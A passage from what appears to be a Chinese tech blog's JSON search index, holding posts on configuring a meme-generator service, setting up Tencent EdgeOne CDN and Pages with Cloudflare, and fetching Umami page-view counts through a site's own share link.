style=\"display:flex;\"\u003e\u003cspan\u003e[\u003cspan style=\"color:#a6e22e\"\u003eresource\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 下载内置表情包图片时的资源链接，下载时选择最快的站点\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003eresource_urls\u003c/span\u003e = [\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;https://raw.githubusercontent.com/MemeCrafters/meme-generator/\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;https://mirror.ghproxy.com/https://raw.githubusercontent.com/MemeCrafters/meme-generator/\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;https://cdn.jsdelivr.net/gh/MemeCrafters/meme-generator@\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;https://fastly.jsdelivr.net/gh/MemeCrafters/meme-generator@\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;https://raw.gitmirror.com/MemeCrafters/meme-generator/\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[\u003cspan style=\"color:#a6e22e\"\u003egif\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003egif_max_size\u003c/span\u003e = \u003cspan style=\"color:#ae81ff\"\u003e10.0\u003c/span\u003e  \u003cspan style=\"color:#75715e\"\u003e# 限制生成的 gif 文件大小，单位为 Mb\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003egif_max_frames\u003c/span\u003e = \u003cspan style=\"color:#ae81ff\"\u003e100\u003c/span\u003e  \u003cspan style=\"color:#75715e\"\u003e# 限制生成的 gif 文件帧数\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[\u003cspan style=\"color:#a6e22e\"\u003etranslate\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003ebaidu_trans_appid\u003c/span\u003e = \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e  \u003cspan style=\"color:#75715e\"\u003e# 百度翻译api相关，表情包 `dianzhongdian` 需要使用\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003ebaidu_trans_apikey\u003c/span\u003e = \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e  \u003cspan style=\"color:#75715e\"\u003e# 可在 百度翻译开放平台 (http://api.fanyi.baidu.com) 申请\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[\u003cspan style=\"color:#a6e22e\"\u003eserver\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003ehost\u003c/span\u003e = \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;127.0.0.1\u0026#34;\u003c/span\u003e  \u003cspan style=\"color:#75715e\"\u003e# web server 监听地址\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003eport\u003c/span\u003e = \u003cspan style=\"color:#ae81ff\"\u003e2233\u003c/span\u003e  \u003cspan style=\"color:#75715e\"\u003e# web server 端口\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[\u003cspan style=\"color:#a6e22e\"\u003elog\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003elog_level\u003c/span\u003e = \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;INFO\u0026#34;\u003c/span\u003e  \u003cspan style=\"color:#75715e\"\u003e# 日志等级\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e运行\u003c/p\u003e","title":"meme-generator部署指南以及对接Koishi"},{"content":"引言 主播也是搞到了EdgeOne免费版激活码了，终于可以大展宏图了😋\n我怎么换到EdgeOne免费版？ 前往 腾讯云EdgeOne免费计划兑换码 - 立即体验\n推荐直接发推，按照要求发\n发完后私信EO官方即可\n默认EdgeOne给的Anycast CNAME过于垃圾？ 默认在EO添加域名EO会发给你一个类似 afo.im.eo.dnse4.com 这样的CNAME\n也就是 你的域名.eo.dnse4.com\nemm 这玩意吧 你们自己看速度吧\n我推荐大家使用 43.174.150.150 。是一个中国香港的三网优化IP。速度如下。本人EdgeOne优选： eo.072103.xyz\n换了CNAME后无法自动申请免费SSL？ 如果你将你的域名托管给EO并且没有用EO给你的CNAME，则这个选项不可用\n我推荐采用1panel、宝塔、acme.sh手动申请泛域名证书然后上传到腾讯云SSL控制台，就像这样\nEdgeOne怎么做重定向？ 在这里\nEO边缘函数也支持重定向，支持更细化的重定向规则\n但是这玩意记录请求数，不如用Cloudflare的重定向规则\n首先我们在CF写这样一个规则 然后让EO回源到CF边缘节点。最简单就是随便填个IP然后套CDN\n接着配置EO回源，这里一定要使用加速域名作为回源Host头\n原理：用户 - EO - CF - CF识别到Host匹配重定向规则 - 301\nEdgeOne反代一切？ 大部分情况将 回源HOST头 改为源站就能解决反代后网站无法访问的问题\n","permalink":"https://blog.2x.nz/posts/eo-cf/","summary":"\u003ch1 id=\"引言\"\u003e引言\u003c/h1\u003e\n\u003cp\u003e主播也是搞到了EdgeOne免费版激活码了，终于可以大展宏图了😋\u003c/p\u003e\n\u003ch1 id=\"我怎么换到edgeone免费版\"\u003e我怎么换到EdgeOne免费版？\u003c/h1\u003e\n\u003cp\u003e前往 \u003ca href=\"https://edgeone.ai/zh/redemption\"\u003e腾讯云EdgeOne免费计划兑换码 - 立即体验\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e推荐直接发推，按照要求发\u003c/p\u003e\n\u003cp\u003e发完后私信EO官方即可\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/eo-cf/img/9ccbf7c1-6006-45f6-a9f4-e1979df8b12b.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"默认edgeone给的anycast-cname过于垃圾\"\u003e默认EdgeOne给的Anycast CNAME过于垃圾？\u003c/h1\u003e\n\u003cp\u003e默认在EO添加域名EO会发给你一个类似 \u003ccode\u003eafo.im.eo.dnse4.com\u003c/code\u003e 这样的CNAME\u003c/p\u003e\n\u003cp\u003e也就是 \u003ccode\u003e你的域名.eo.dnse4.com\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eemm 这玩意吧 你们自己看速度吧\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/eo-cf/img/33a0b34f-d36f-4214-bcf3-616f9b174630.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e我推荐大家使用 \u003ccode\u003e43.174.150.150\u003c/code\u003e 。是一个中国香港的三网优化IP。速度如下。\u003cstrong\u003e本人EdgeOne优选：\u003c/strong\u003e \u003ccode\u003eeo.072103.xyz\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/eo-cf/img/ab4cfd6f-ef23-4670-8577-02850f372124.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"换了cname后无法自动申请免费ssl\"\u003e换了CNAME后无法自动申请免费SSL？\u003c/h1\u003e\n\u003cp\u003e如果你将你的域名托管给EO并且没有用EO给你的CNAME，则这个选项不可用\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/eo-cf/img/d81050d7-5d58-4b80-92d9-bf1e07285544.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e我推荐采用1panel、宝塔、acme.sh手动申请泛域名证书然后上传到腾讯云SSL控制台，就像这样\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/eo-cf/img/59cf2a66-2717-4291-b027-6cd2f270ece4.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"edgeone怎么做重定向\"\u003eEdgeOne怎么做重定向？\u003c/h1\u003e\n\u003cp\u003e在这里\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/eo-cf/img/8f31d55f-4d0b-4209-935b-c2ec7924846c.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/eo-cf/img/5ca74214-b4d0-4ac1-9fab-06d3096a5f7e.webp\"\u003e\u003c/p\u003e\n\u003cp\u003eEO边缘函数也支持重定向，支持更细化的重定向规则\u003c/p\u003e\n\u003cp\u003e但是这玩意记录请求数，不如用Cloudflare的重定向规则\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/eo-cf/img/2853531b-a57f-4b20-a8ec-98c0ca433604.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e首先我们在CF写这样一个规则\n\u003cimg loading=\"lazy\" src=\"/posts/eo-cf/img/ac9afee9-a368-4e10-a2a9-045e8672d636.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e然后让EO回源到CF边缘节点。最简单就是随便填个IP然后套CDN\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/eo-cf/img/08445fb0-892a-4793-a359-6cfc3194dbce.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e接着配置EO回源，这里一定要使用加速域名作为回源Host头\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/eo-cf/img/4911f0ca-86a0-42d3-90cf-ad2434f782ae.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e原理：用户 - EO - CF - CF识别到Host匹配重定向规则 - 301\u003c/p\u003e\n\u003ch1 id=\"edgeone反代一切\"\u003eEdgeOne反代一切？\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e大部分情况将 \u003ccode\u003e回源HOST头\u003c/code\u003e 改为源站就能解决反代后网站无法访问的问题\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/eo-cf/img/2025-08-04-12-00-41-image.webp\"\u003e\u003c/p\u003e\u003c/blockquote\u003e","title":"EdgeOne + Cloudflare，我们天下无敌！"},{"content":"这是个啥？ 在我的早期文章中提过EdgeOne，当时它还仅有Page业务，而且IP是很垃圾的新加坡，并且还会吞提交。故我当时给出了不如Cloudflare Page的评价\n不过这玩意最近出了CDN业务，并且还是免费。所以我又重拾起来了\n我要怎么用上？ 浏览器访问： https://edgeone.ai 注册账号\n或者看视频： https://www.bilibili.com/video/BV1KmNUzVEEL\n关于EdgeOne CDN - 网站安全加速 以下言论仅适用于未备案用户\n需要搞免费版兑换码。或者直接买个人版后可用，需要外币卡。\n通过创建 加速区域全球可用区（不含中国大陆） 。会分配给你一个类似 eo3-blog.afo.im.eo.dnse4.com 这样的CNAME地址要求你做CNAME解析。IP很烂。可以直接做优选。 获取方式很简单，直接ITDOG PING edgeone.ai 找个最快的IP直接写A解析（貌似国内的也可以🤔），如图。本人EdgeOne优选： eo.072103.xyz\n因为这玩意是一个CDN，需要一个源站。如果你是静态站点可以用Cloudflare Page部署一个站，然后设置回源如下（注意回源Hosts头要填写源站域名，否则CF可能会报423 Locked 他妈的比腾讯云的418我是个茶壶规范多了😅）\n最后开启SSL，结束，享受它吧\n关于EdgeOne Pages（新） 不用花钱，注册账号后即可用\n不管你的加速区域在哪，都建议绑定自己的域名，否则可能出现访问401。含中国大陆的区域需要域名备案\n以下言论仅适用于未备案用户\n通过创建 加速区域全球可用区（不含中国大陆） 。IP现在从新加坡Anycast改为了俩IP（如果按国内可用来算）43.175.44.57（中国香港。非移动延迟250ms+，移动延迟100ms-）， 43.132.85.153（日本东京。三网200ms左右）。比起之前的新加坡平均300ms的神奇IP好了很多\nEdgeOne Pages无法优选。如果将EdgeOne Pages托管的域名指向非 edgeone.app 解析出的IP。会报418（比如EdgeOne CDN节点IP）\n默认时延情况，如图\n以下言论仅适用于备案用户\n默认延迟50ms以下（中国大陆）\n优选不能将IP指向EdgeOne CDN节点的IP，否则报418。\n","permalink":"https://blog.2x.nz/posts/edgeone/","summary":"\u003ch1 id=\"这是个啥\"\u003e这是个啥？\u003c/h1\u003e\n\u003cp\u003e在我的\u003ca href=\"/posts/static-web\"\u003e早期文章\u003c/a\u003e中提过EdgeOne，当时它还仅有Page业务，而且IP是很垃圾的新加坡，并且还会吞提交。故我当时给出了不如Cloudflare Page的评价\u003c/p\u003e\n\u003cp\u003e不过这玩意最近出了CDN业务，并且还是免费。所以我又重拾起来了\u003c/p\u003e\n\u003ch1 id=\"我要怎么用上\"\u003e我要怎么用上？\u003c/h1\u003e\n\u003cp\u003e浏览器访问： \u003ca href=\"https://edgeone.ai\"\u003ehttps://edgeone.ai\u003c/a\u003e 注册账号\u003c/p\u003e\n\u003cp\u003e或者看视频： \u003ca href=\"https://www.bilibili.com/video/BV1KmNUzVEEL\"\u003ehttps://www.bilibili.com/video/BV1KmNUzVEEL\u003c/a\u003e\u003c/p\u003e\n\u003ch1 id=\"关于edgeone-cdn---网站安全加速\"\u003e关于EdgeOne CDN - 网站安全加速\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e以下言论仅适用于\u003cstrong\u003e未备案\u003c/strong\u003e用户\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e需要搞免费版兑换码。或者直接买个人版后可用，需要外币卡。\u003c/p\u003e\n\u003cp\u003e通过创建 \u003ccode\u003e加速区域全球可用区（不含中国大陆）\u003c/code\u003e 。会分配给你一个类似 \u003ccode\u003eeo3-blog.afo.im.eo.dnse4.com\u003c/code\u003e 这样的CNAME地址要求你做CNAME解析。IP很烂。\u003cstrong\u003e可以直接做优选。\u003c/strong\u003e 获取方式很简单，直接ITDOG PING \u003ccode\u003eedgeone.ai\u003c/code\u003e 找个最快的IP直接写A解析（貌似国内的也可以🤔），如图。\u003cstrong\u003e本人EdgeOne优选：\u003c/strong\u003e \u003ccode\u003eeo.072103.xyz\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/edgeone/img/42ff5956-d1db-4005-8d96-05fcf7eb76f0.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/edgeone/img/5e49847b-568e-44e3-97d1-737359d6d9d7.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/edgeone/img/45abf772-9757-4172-984f-d9b5a01ae1de.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e因为这玩意是一个CDN，需要一个源站。如果你是静态站点可以用Cloudflare Page部署一个站，然后设置回源如下（注意回源Hosts头要填写源站域名，否则CF可能会报423 Locked \u003cem\u003e他妈的比腾讯云的418我是个茶壶规范多了😅\u003c/em\u003e）\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/edgeone/img/2bb58f42-4d8d-4429-a412-ff256b41087d.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e最后开启SSL，结束，享受它吧\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/edgeone/img/3063dcd0-857d-4280-8ed2-21f4beddb69a.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"关于edgeone-pages新\"\u003e关于EdgeOne Pages（新）\u003c/h1\u003e\n\u003cp\u003e不用花钱，注册账号后即可用\u003c/p\u003e\n\u003cp\u003e不管你的加速区域在哪，都建议绑定自己的域名，否则可能出现访问401。含中国大陆的区域需要域名备案\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e以下言论仅适用于\u003cstrong\u003e未备案\u003c/strong\u003e用户\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e通过创建 \u003ccode\u003e加速区域全球可用区（不含中国大陆）\u003c/code\u003e 。IP现在从新加坡Anycast改为了俩IP（如果按国内可用来算）43.175.44.57（中国香港。非移动延迟250ms+，移动延迟100ms-）， 43.132.85.153（日本东京。三网200ms左右）。比起之前的新加坡平均300ms的神奇IP好了很多\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eEdgeOne Pages无法优选\u003c/strong\u003e。如果将EdgeOne Pages托管的域名指向非 \u003ccode\u003eedgeone.app\u003c/code\u003e 解析出的IP。会报418（比如EdgeOne CDN节点IP）\u003c/p\u003e\n\u003cp\u003e默认时延情况，如图\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/edgeone/img/fcf64bcf-7121-4952-b7e1-1aac7b7fe33d.webp\"\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e以下言论仅适用于\u003cstrong\u003e备案\u003c/strong\u003e用户\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e默认延迟50ms以下（中国大陆）\u003c/p\u003e\n\u003cp\u003e优选不能将IP指向EdgeOne CDN节点的IP，否则报418。\u003c/p\u003e","title":"关于我折腾了一晚上 EdgeOne"},{"content":"引言 如果你用过WordPress，Halo等动态博客框架，你大概会在用户视角访问博文的时候看到浏览量这个信息。\n这个原理很简单，因为动态博客依赖于一个VPS，只需要让用户每次访问的时候给浏览量+1即可。\n那么如果我们是静态博客呢？\n我们可以依赖一些第三方服务，比如Umami Cloud。在你的静态博客的head注入一个js，这样你就可以看到你的站点分析了，类似下图\n现在我们确实可以看到每个文章（即/posts/xxx）的访问量了，但是我们要如何展示给用户呢？\n逆向Umami的只读页面！（新版v3） 感谢nightNya提供的方案，你是天才！\n首先我们启用分享URL\n注意这里的 7PoDRgCzHFTs2vWB ，每个站点都不一样\n接着我们请求 https://cloud.umami.is/analytics/us/api/share/7PoDRgCzHFTs2vWB，得到 注意，这里的 us 为你创建的账号区域，美国为us，欧盟为eu\n{ \u0026#34;websiteId\u0026#34;: \u0026#34;a66a5fd4-98b0-4108-8606-cb7094f380ac\u0026#34;, \u0026#34;token\u0026#34;: \u0026#34;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ3ZWJzaXRlSWQiOiJhNjZhNWZkNC05OGIwLTQxMDgtODYwNi1jYjcwOTRmMzgwYWMiLCJpYXQiOjE3NTA4MDIwMzB9.X5GQT5kslh6r25sFlap4Asz1NDA7mN3kcZW8wqbrnBc\u0026#34; } 再接着我们请求，携带请求头 x-umami-share-token 值为上一步获得的Token\nhttps://cloud.umami.is/analytics/us/api/websites/a66a5fd4-98b0-4108-8606-cb7094f380ac/stats?startAt=0\u0026amp;endAt=1750805999999\u0026amp;unit=hour\u0026amp;timezone=Asia/Hong_Kong\u0026amp;path=eq./posts/cf-fastip/\u0026amp;compare=false\n这里解释几个关键Params，其他的照搬\nstartAt：统计开始时间。Unix时间戳，我们填写为0让Umami从1970年开始统计\nendAt：统计结束时间。Unix时间戳，我们可以使用 Date.now() ，即当前时间，和startAt参数联动即可实现统计总浏览量\npath：要查询的路径，填写为你的文章页去除了Host的路径，如 /posts/hello 。注意！Umami会将 /posts/hello 和 /posts/hello/ 视为两个不同的路径，请注意你的博客框架是否使用 /。在v3版本中，需要使用 eq. 前缀来进行精确匹配，例如 path=eq./posts/hello/\n你会得到\n{ \u0026#34;pageviews\u0026#34;: 1655, \u0026#34;visitors\u0026#34;: 343, \u0026#34;visits\u0026#34;: 411, \u0026#34;bounces\u0026#34;: 183, \u0026#34;totaltime\u0026#34;: 30592, \u0026#34;comparison\u0026#34;: { \u0026#34;pageviews\u0026#34;: 0, \u0026#34;visitors\u0026#34;: 0, \u0026#34;visits\u0026#34;: 0, \u0026#34;bounces\u0026#34;: 0, \u0026#34;totaltime\u0026#34;: 0 } } pageviews 即浏览量。 visitors 即访问人数。\nTips：浏览量记录为任意用户只要访问了则计数一次。而访问数记录不会记录单IP多次重复访问和同一时间段的多次请求不同页面\nEnjoy it！\n最终效果：\n","permalink":"https://blog.2x.nz/posts/static-view/","summary":"\u003ch1 id=\"引言\"\u003e引言\u003c/h1\u003e\n\u003cp\u003e如果你用过WordPress，Halo等动态博客框架，你大概会在用户视角访问博文的时候看到浏览量这个信息。\u003c/p\u003e\n\u003cp\u003e这个原理很简单，因为动态博客依赖于一个VPS，只需要让用户每次访问的时候给浏览量+1即可。\u003c/p\u003e\n\u003cp\u003e那么如果我们是静态博客呢？\u003c/p\u003e\n\u003cp\u003e我们可以依赖一些第三方服务，比如\u003ca href=\"https://umami.is\"\u003eUmami Cloud\u003c/a\u003e。在你的静态博客的head注入一个js，这样你就可以看到你的站点分析了，类似下图\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/static-view/img/2c1e7d81-6f6d-4323-b0de-013b2d168be1.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e现在我们确实可以看到每个文章（即/posts/xxx）的访问量了，但是我们要如何展示给用户呢？\u003c/p\u003e\n\u003ch1 id=\"逆向umami的只读页面新版v3\"\u003e逆向Umami的只读页面！（新版v3）\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e感谢nightNya提供的方案，你是天才！\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e首先我们启用分享URL\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/static-view/img/023f687b-6e4a-46d8-b7f2-4778f20ebe99.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e注意这里的 \u003ccode\u003e7PoDRgCzHFTs2vWB\u003c/code\u003e ，每个站点都不一样\u003c/p\u003e\n\u003cp\u003e接着我们请求 \u003ccode\u003ehttps://cloud.umami.is/analytics/us/api/share/7PoDRgCzHFTs2vWB\u003c/code\u003e，得到\n\u003cem\u003e注意，这里的 \u003ccode\u003eus\u003c/code\u003e 为你创建的账号区域，美国为us，欧盟为eu\u003c/em\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003e\u0026#34;websiteId\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;a66a5fd4-98b0-4108-8606-cb7094f380ac\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003e\u0026#34;token\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ3ZWJzaXRlSWQiOiJhNjZhNWZkNC05OGIwLTQxMDgtODYwNi1jYjcwOTRmMzgwYWMiLCJpYXQiOjE3NTA4MDIwMzB9.X5GQT5kslh6r25sFlap4Asz1NDA7mN3kcZW8wqbrnBc\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e再接着我们请求，携带请求头 \u003ccode\u003ex-umami-share-token\u003c/code\u003e 值为上一步获得的Token\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003ehttps://cloud.umami.is/analytics/us/api/websites/a66a5fd4-98b0-4108-8606-cb7094f380ac/stats?startAt=0\u0026amp;endAt=1750805999999\u0026amp;unit=hour\u0026amp;timezone=Asia/Hong_Kong\u0026amp;path=eq./posts/cf-fastip/\u0026amp;compare=false\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e这里解释几个关键Params，其他的照搬\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003estartAt：统计开始时间。Unix时间戳，我们填写为0让Umami从1970年开始统计\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eendAt：统计结束时间。Unix时间戳，我们可以使用 \u003ccode\u003eDate.now()\u003c/code\u003e ，即当前时间，和startAt参数联动即可实现统计总浏览量\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003epath：要查询的路径，填写为你的文章页去除了Host的路径，如 \u003ccode\u003e/posts/hello\u003c/code\u003e 。注意！Umami会将 \u003ccode\u003e/posts/hello\u003c/code\u003e 和 \u003ccode\u003e/posts/hello/\u003c/code\u003e 视为两个不同的路径，请注意你的博客框架是否使用 \u003ccode\u003e/\u003c/code\u003e。在v3版本中，需要使用 \u003ccode\u003eeq.\u003c/code\u003e 前缀来进行精确匹配，例如 \u003ccode\u003epath=eq./posts/hello/\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e你会得到\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e\u0026#34;pageviews\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e1655\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e\u0026#34;visitors\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e343\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e\u0026#34;visits\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e411\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e\u0026#34;bounces\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e183\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e\u0026#34;totaltime\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e30592\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e\u0026#34;comparison\u0026#34;\u003c/span\u003e: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003e\u0026#34;pageviews\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003e\u0026#34;visitors\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003e\u0026#34;visits\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan 